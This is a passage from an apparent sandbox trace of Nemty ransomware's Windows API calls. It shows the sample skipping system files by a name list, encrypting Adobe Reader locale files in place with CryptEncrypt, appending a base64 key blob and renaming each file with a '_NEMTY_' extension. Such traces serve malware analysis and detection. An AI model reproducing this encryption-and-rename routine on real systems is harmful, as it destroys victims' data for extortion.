GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=55296) returned 1 [0185.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd800) returned 0x6352c48 [0185.951] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.951] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xd800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xd800, lpOverlapped=0x0) returned 1 [0185.956] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.956] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xd800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xd800, lpOverlapped=0x0) returned 1 [0185.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.956] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=55296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd800 [0185.956] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.957] CloseHandle (hObject=0x2e8) returned 1 [0185.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.957] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Multimedia.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\multimedia.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Multimedia.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\multimedia.chs._nemty_kgobjgd_")) returned 1 [0185.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.958] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pddom.CHS", cAlternateFileName="")) returned 1 [0185.958] lstrcmpiW (lpString1="pddom.CHS", lpString2=".") returned 1 [0185.958] lstrcmpiW (lpString1="pddom.CHS", lpString2="..") returned 1 [0185.958] lstrcmpiW (lpString1="pddom.CHS", lpString2="...") returned 1 [0185.958] lstrcmpiW (lpString1="pddom.CHS", lpString2="windows") returned -1 [0185.958] lstrcmpiW (lpString1="pddom.CHS", lpString2="$RECYCLE.BIN") returned 1 [0185.958] lstrcmpiW (lpString1="pddom.CHS", lpString2="rsa") returned -1 [0185.958] lstrcmpiW (lpString1="pddom.CHS", lpString2="NTDETECT.COM") returned 1 [0185.958] lstrcmpiW (lpString1="pddom.CHS", lpString2="ntldr") returned 1 [0185.958] lstrcmpiW (lpString1="pddom.CHS", lpString2="MSDOS.SYS") returned 1 [0185.958] lstrcmpiW (lpString1="pddom.CHS", lpString2="IO.SYS") returned 1 [0185.958] lstrcmpiW (lpString1="pddom.CHS", lpString2="boot.ini") returned 1 [0185.958] lstrcmpiW (lpString1="pddom.CHS", lpString2="boot.ini") returned 1 [0185.958] lstrcmpiW (lpString1="pddom.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0185.958] lstrcmpiW (lpString1="pddom.CHS", lpString2="ntuser.dat") returned 1 [0185.958] lstrcmpiW (lpString1="pddom.CHS", lpString2="desktop.ini") returned 1 [0185.958] lstrcmpiW (lpString1="pddom.CHS", lpString2="CONFIG.SYS") returned 1 [0185.958] lstrcmpiW (lpString1="pddom.CHS", lpString2="RECYCLER") returned -1 [0185.958] lstrcmpiW (lpString1="pddom.CHS", lpString2="BOOTSECT.BAK") returned 1 [0185.958] lstrcmpiW (lpString1="pddom.CHS", lpString2="bootmgr") returned 1 [0185.958] lstrcmpiW (lpString1="pddom.CHS", lpString2="programdata") returned -1 [0185.958] lstrcmpiW (lpString1="pddom.CHS", lpString2="appdata") returned 1 [0185.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CHS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CHS", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.CHS", lpUsedDefaultChar=0x0) returned 9 [0185.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CHS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CHS", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.CHS", lpUsedDefaultChar=0x0) returned 9 [0185.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CHS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CHS", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.CHS", lpUsedDefaultChar=0x0) returned 9 [0185.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CHS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CHS", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.CHS", lpUsedDefaultChar=0x0) returned 9 [0185.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0185.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0185.959] Sleep (dwMilliseconds=0x5) [0185.965] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x227dac10, dwHighDateTime=0x1d561e8)) [0185.965] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x227dac10, dwHighDateTime=0x1d561e8)) [0185.965] GetLastError () returned 0x0 [0185.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.966] GetLastError () returned 0x0 [0185.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.966] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.966] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.966] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0185.966] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="91rsHWdroXsp4REBA4j6+MMFAYOkhr+0PbYIiIPXmKh941kbX6WTMwbbs3dt/Sed\r\nRYiesIDUHQ39w+Sh44yTibaE8bPNb2KnmXUL/R9QsMJ64bqD7XIulTnIKEUmerYM\r\nc0jPv6bM7o2pZTe8K41S1JPDvisYd3ruMzxSIkh/lCveo1lXfnPHIvIAbnQqUFRg\r\n5WyGNYDA9Q9xybRw4G/78tY7gHQ+VLSmdnCYzkdNfmpV220r6+wEGdZD6jMlZrUh\r\nQCcQf2a0MAHb3GBSetYYyhzemRpmoolBjiYtWOnNuWZjqaLOtzev7AoFvledShwk\r\nLKvcmnCJ6NrKFoWeFsytKA==\r\n", pcchString=0x653e5dc) returned 1 [0185.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0185.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.966] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\pddom.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\pddom.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.966] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=8704) returned 1 [0185.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2200) returned 0x6352c48 [0185.967] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.967] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2200, lpOverlapped=0x0) returned 1 [0185.968] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.969] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2200, lpOverlapped=0x0) returned 1 [0185.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.969] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=8704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2200 [0185.969] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.969] CloseHandle (hObject=0x2e8) returned 1 [0185.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0185.969] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.969] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0185.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0185.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0185.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.969] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\pddom.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\pddom.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\pddom.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\pddom.chs._nemty_kgobjgd_")) returned 1 [0185.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0185.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0185.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0185.970] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4dc00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLITE.CHS", cAlternateFileName="")) returned 1 [0185.970] lstrcmpiW (lpString1="PPKLITE.CHS", lpString2=".") returned 1 [0185.970] lstrcmpiW (lpString1="PPKLITE.CHS", lpString2="..") returned 1 [0185.970] lstrcmpiW (lpString1="PPKLITE.CHS", lpString2="...") returned 1 [0185.970] lstrcmpiW (lpString1="PPKLITE.CHS", lpString2="windows") returned -1 [0185.970] lstrcmpiW (lpString1="PPKLITE.CHS", lpString2="$RECYCLE.BIN") returned 1 [0185.970] lstrcmpiW (lpString1="PPKLITE.CHS", lpString2="rsa") returned -1 [0185.970] lstrcmpiW (lpString1="PPKLITE.CHS", lpString2="NTDETECT.COM") returned 1 [0185.970] lstrcmpiW (lpString1="PPKLITE.CHS", lpString2="ntldr") returned 1 [0185.970] lstrcmpiW (lpString1="PPKLITE.CHS", lpString2="MSDOS.SYS") returned 1 [0185.970] lstrcmpiW (lpString1="PPKLITE.CHS", lpString2="IO.SYS") returned 1 [0185.970] lstrcmpiW (lpString1="PPKLITE.CHS", lpString2="boot.ini") returned 1 [0185.970] lstrcmpiW (lpString1="PPKLITE.CHS", lpString2="boot.ini") returned 1 [0185.970] lstrcmpiW (lpString1="PPKLITE.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0185.970] lstrcmpiW (lpString1="PPKLITE.CHS", lpString2="ntuser.dat") returned 1 [0185.971] lstrcmpiW (lpString1="PPKLITE.CHS", lpString2="desktop.ini") returned 1 [0185.971] lstrcmpiW (lpString1="PPKLITE.CHS", lpString2="CONFIG.SYS") returned 1 [0185.971] lstrcmpiW (lpString1="PPKLITE.CHS", lpString2="RECYCLER") returned -1 [0185.971] lstrcmpiW (lpString1="PPKLITE.CHS", lpString2="BOOTSECT.BAK") returned 1 [0185.971] lstrcmpiW (lpString1="PPKLITE.CHS", lpString2="bootmgr") returned 1 [0185.971] lstrcmpiW (lpString1="PPKLITE.CHS", lpString2="programdata") returned -1 [0185.971] lstrcmpiW (lpString1="PPKLITE.CHS", lpString2="appdata") returned 1 [0185.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.CHS", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.CHS", lpUsedDefaultChar=0x0) returned 11 [0185.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.CHS", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.CHS", lpUsedDefaultChar=0x0) returned 11 [0185.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.CHS", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.CHS", lpUsedDefaultChar=0x0) returned 11 [0185.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.CHS", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.CHS", lpUsedDefaultChar=0x0) returned 11 [0185.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0185.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.971] Sleep (dwMilliseconds=0x5) [0185.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22800d70, dwHighDateTime=0x1d561e8)) [0185.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22800d70, dwHighDateTime=0x1d561e8)) [0185.981] GetLastError () returned 0x0 [0185.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.981] GetLastError () returned 0x0 [0185.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.981] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.981] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.982] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.982] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="6SURD6AT8K5okM2zODqow0L3KBVJRsMrGgUfMgIho+EAusG98LvYN0t6AA34NELF\r\n6U/hSbcsabGr/zpYPh/+XsPUF/xm0w78GmXkm6ROFXx4VLD2VCG3+CXFcgMXMLhj\r\nQEbxgat1NeFjNx9g97kl0NkBrpecmTx6BTcAZxK1YFOf3c7LmZ3pB3WP9Bxo6N/9\r\nrL7t8NVvV44/HrwofcfxNmSJSEZV1sGOaeCdR2Dwj+QrtuuOqeuNr9+/KLI0wYQT\r\n68umh23MSSx1IIkX5k3Kw9q4cnY16J9Pe38vh21ExYYxk7J3bN6XwgiGpe+D3fR3\r\n9IbAsdb8ZaDhv0gkPlgATA==\r\n", pcchString=0x653e5dc) returned 1 [0185.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 